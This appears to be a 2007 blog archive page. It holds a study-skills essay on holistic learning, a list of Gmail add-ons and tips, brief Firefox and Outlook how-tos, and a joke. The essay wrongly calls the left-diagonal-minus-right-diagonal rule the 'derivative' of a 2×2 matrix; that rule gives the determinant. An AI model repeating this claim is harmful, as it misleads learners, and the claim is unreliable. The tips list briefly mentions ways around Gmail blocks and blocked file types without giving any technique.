Compartmentalized learning is an exercise in insanity. A comparable strategy would be if the creators of the internet didn’t hyperlink anything. So to find any information you just had to keep typing addresses into your browser, hoping that it would pop up. Studying for these learners is akin to setting up thousands of domain names that all lead to the same information, so that you will hopefully get to the right place by just guessing enough. Not only is it ineffective when exam time comes, it takes hours to put in place.
Very few people are purely compartmental learners. For most people they manage webs of information holistically to a certain degree. But unfortunately, their webs simply aren’t interlinked enough. Each subject usually has a fairly distinct web and each unit of information has only one or two associations. Like trying to surf the net when each page only has one or two outgoing links. Possible, but far from effective.
If you look at the structure of your brain, it will become immediately obvious why compartmentalized learning, organized like a computers file folder system, doesn’t work. Your brain is itself a web of neurons. Creating hundreds of associations between ideas means that no matter where you start thinking, you can eventually get to the piece of information you need. If a road is closed for some reason, you can take one of the hundreds of other side streets.
Maximizing Your Holistic Learning
Understanding holistic learning is one thing, putting it into practice is another. I’ve been learning very close to the extreme of complete holistic learning for so long that my web is pretty well interconnected. But if you haven’t been really interweaving your web, then the best way to improve your ability to learn is to start now.
Here are a few suggestions for how you can better interlink your web:
1) Ask Questions
When you are learning something, you can make associations simply by asking yourself questions. How does this information relate to what we’ve been studying? How does this information relate to other things I’ve already learned? How does it relate to other subjects, stories or observations?
Be creative and try to find several different points of reference for every idea you learn. Figure out not only what things are similar too, but why they are what they are. As this becomes a habit, you’ll find that you automatically remember information because it fits into your web of understanding. Ask yourself after you hear something whether you “get it”. If you don’t go back and ask yourself more questions for how it fits it.
2) Visualize and Diagram
One of the best ways to begin practicing holistic learning is to start drawing a diagram that associates the information you have learned. Better than taking notes during a lecture is drawing a picture for how what you are learning relates to anything else you have already learned. Once you get good at this you will be able to visualize the diagram before it is drawn, but start drawing to get practice.
When I try to understand economics it often helps me to visualize the relationship between different factors. I view cycles of money, GDP or price levels as a structure that combines all the different elements. If you can’t immediately create vivid pictures of the information, try drawing them first.
3) Use Metaphors
Anything you are learning should be immediately translated into a metaphor you already understand. When reading Niccolo Machiavelli’s The Prince, I understood his writings by relating all the examples of statecraft and war he offered to areas of business and social relationships which I already understood.
While visualization creates tight webs that interlink within a subject, metaphors create broad webs that link completely different ideas. You might not realize how that blog article on fitness you read two weeks ago relates to math, but through making metaphors you have a huge reserve of information available to you when you need it.
4) Feel It
Another technique I’ve experimented with to improve my holistic learning is feeling through ideas. This one is a little more difficult to explain, but the basic idea is that instead of associating an idea to a picture or another metaphor, you associate it with a feeling. I’m a visual learner, so I’ve found it to be ineffective for large pieces of data, but it is really helpful for data that is otherwise hard to relate.
I used this process to easily remember the process of getting the derivative of a matrix. For you math buffs, you probably already know that the derivative of a 2×2 matrix is basically the left diagonal minus the right diagonal. I was able to associate this information into my web through a feeling by imagining what it would be like to move my hands through each diagonal on the matrix. This is an incredibly simplified example, but feeling ideas can be very useful.
5) When in Doubt, Link or Peg It
Questions, visualization, metaphors and feeling should cover about 99% of the information you need to learn. They are the most effective ways to interlink ideas. But if you still need to memorize some information that you can’t understand or relate, your fall-back can be the link and peg system.
Explaining these memory systems is out of the scope of this article, but the basic idea of the link system is to create a wacky, vivid picture relating two seemingly unrelated ideas so that a connection between them is forced. The peg system takes it a step further creating a simple phonetic system for storing numbers and dates. You can learn more about these systems here.
Dirt Roads and Superhighways
An effective web should heavily interlink between ideas of a similar subject, but it should also have links that extend between completely different ideas. I like to think of these two approaches like comparing dirt roads and superhighways. You need lots of cheap dirt roads to interconnect closely related areas and a few superhighways to connect distant cities.
When I was learning history I would make dirt roads connecting the aspects of one particular time period and culture to itself. Linking the artistic achievements of the Song Dynasty with their political situation. But I would also make highways and superhighways. I would compare Song China to India and to the politics in the United States.
Some people build a lot of dirt roads but forget the highways. They understand things well within a subject, but they can’t relate that subject outside of the classroom. Hamlet is one of my favorite literary works because in the classroom where I learned it, our teacher went to great lengths to help build superhighways. We would discuss how aspects of Hamlet related to our own life, politics and completely different areas. As a result I remember more from that play than almost any other piece of literature I studied.
The End of Studying
Studying should be like stretching before a big race. It isn’t a time to get in shape. I lied a bit when I wrote the title of this article. I do study. But I don’t do it for the same reasons that other people do. I study to ensure my web is functioning, not to start building it. Even when I do study, it is just a quick review, never an all-night cramming session.
Some of you may read this article and start thinking that going to the trouble of drawing out diagrams and thinking hard about metaphors to practice holistic learning is going to take too much time. I believe the opposite is true. I have saved a lot of time using these techniques so that school has become just a minor time investment in the overall work I do each day. Practice holistic learning and you can spend less time cramming and more time actually learning.
FromSunday, March 25, 2007
Tools and Hacks for Gmail
FIREFOX EXTENSIONS
Gspace - multi-platform firefox addon that turns your gmail account into powerful online storage tool
Gmail Search Extension - search your gmail account directly from the firefox search bar
GcalQuickTab - toggle between gmail and google calendar with keyboard shortcuts
GTDInbox - turns your account into flexible and feature-loaded ToDo-management service (GTD = Getting Things Done)
GMail Manager - manage multiple GMail accounts right from your browser
DragDropUpload - this handy extension lets you quickly attach one or more files to your emails by dragging them over the “Attach a file” link
CustomizeGoogle - removes ads, switches you from http to https, hides the spam counter, quick contacts box, invite box and forces fixed font
GmailSkinz - powerful firefox addon with lots of cool features:
- change the colour of your inbox(from green to dark green),
- view weather, google calendar and news headlines along side your emails,
- integrate any Google IG module to sidebar menu(Awesome),
- insert images from your Picasa web album in to emails,
- insert smileys,
- change the attachment paperclip to an icon indicating the type of attachment,
- make the navigation (Inbox, Starred, Sent Mail, etc) horizontal,
- hide various page elements (invite panel, page footer and your email address from the top right of inbox).
- complete integration with Gmail: addon settings can be changed directly from the Gmail settings page.
Google Toolbar with Gmail search - Official Google toolbar featuring one-click Gmail search
E-Mail Notifier Toolbar | Gmail Notifier - as titles say ‘ …notifier‘
_
GREASEMONKEY SCRIPTS
Gmail Super Clean - clean and distraction-free gmail. Looks great, check it out here
Gmail Spam-count Hide - hides spam count link
GMail Attachment Icons - adds attachment icons to emails, letting you see what kind of attachment an email has (HTML,JPG, PDF….) [ update: ‘Attachment icons’ isn’t a standard greasemonkey script, it’s an addon for a similar Firefox extension known as Stylish. However, installing it on greasemonkey should be fine as well] Google Reader Integration - integrates Google Reader into Gmail. Highly Recommended (demo)
GmailTo - forces all ‘mailto’ links to open in GMail
Saved Searches - lets you create ’saved searches’(aka smart folders) and display them in the separate box in the navigation menu. Clicking on a search executes the saved query. Demo
Conversation Preview - handy addon that lets you quickly preview message contents right from the main inbox window. See demo below
Google Calendar Integration - integrates Google Calendar agenda into Gmail. Demo
Label Colors - lets you color menu labels to make them stand out better. Demo
Gmail Macros - adds extra keyboard shortcuts to Gmail (i.e. “t” for move to trash, “r” for mark as read, “p'’ for mark as read and add to archive…etc).
SSLGoogle - force google mail, docs and cal pages and their intra-links to a secure connection(HTTPS)
Desktop APPS and Web TOOLS:
GmailDrive - adds a new virtual drive(’Gmail Drive’) to ‘My Computer ‘ folder and uses gmail as its storage medium. Drag’n drop files Gmail Drive and it will store them on your gmail account as if on additional hard drive.
Gmail ToDo - handy desktop application that stores entered todo’s in a todo label on gmail
Desktop Notifiers:GMail Notifier(official release from Google), GTray (Win XP), GCount (Mac), Gmail+Growl 2.0 (GmailNotifier addon that lets you further customize ‘new mail’ alerts)
GMail for Mobile - access gmail from your mobile
GmailFS - mountable Linux filesystem which uses Gmail as its storage medium
Google Talk - Google’s IM service which is fully integrable with GMail
You’ve Got Gmail - Gmail plugin for Trillian IM client
Update: more notifiers: KCheckGmail(Linux), Notifier2(Win) _
TIPS and HACKS
Unbl0ck - use this tool to access gmail from places where it’s blocked (work, school…)
Gmail icon generator - creates an image of your email address to minimize spam exposure
Gmail To Thunderbird - how to access your Gmail using Mozilla Thunderbird
Shortcut List - handy, printable list of keyboard shortcuts for the Gmail
Hotmail Contacts Import - explains how to import contacts from Hotmail to Gmail
Gmail trick that explains how to find that ’someone’ who gives away your email address to spammers
Attach any file type - bunch of tricks showing you how to attach and send blocked file types, i.e. ‘*.exe’
JimsTips - huge collection of basic gmail tips
Update: What to do if your Gmail is nearly full? See here.
How to Stop Firefox Resizing
Frustrated when Firefox resizes after visiting a site?
Then do the following;
- Open Firefox, Preferences (or if you’re on Windows…Tools, Options)
- Go to the Content Tab
- To the right of “Enable Javascript” hit “Advanced…”.
- Uncheck “Move or Resize Existing Windows”
How to Replace Outlook Calendar with Google Calendar
If you are an Outlook user that loves Google Calendar, this Tech-Recipe will show you how to replace the built-in calendar link with Google Calendar.
Replacing the calendar link is quick and easy! Just follow these steps:
1) Right-click on the Calendar in the folder list, and choose Properties
2) Click on the Home Page tab, and enter the following link into the address box:
3) Check the box that says "Show home page by default for this folder"
4) Enjoy!
Tip #1: If you wanted both calendars in Outlook, you can create a new folder, and then follow the same steps.
Tip #2: If you want to replace Outlook 2007's RSS feeds with Google Reader, follow this tech-recipe.
powered by performancing firefox
Saturday, March 24, 2007
GCALDaemon
Calgoo - Synchronize Gmail with your desktop calendar
Recuva - File Recovery
Smart Linux
Double positive
A linguistics professor was lecturing his class.
"In English," he explained, "a double negative forms a positive. In some languages, such as Russian, a double negative is still a negative."
"However," the professor continued, "there is no language wherein a double positive can form a negative."
A voice from the back of the room piped up. "Yeah, right."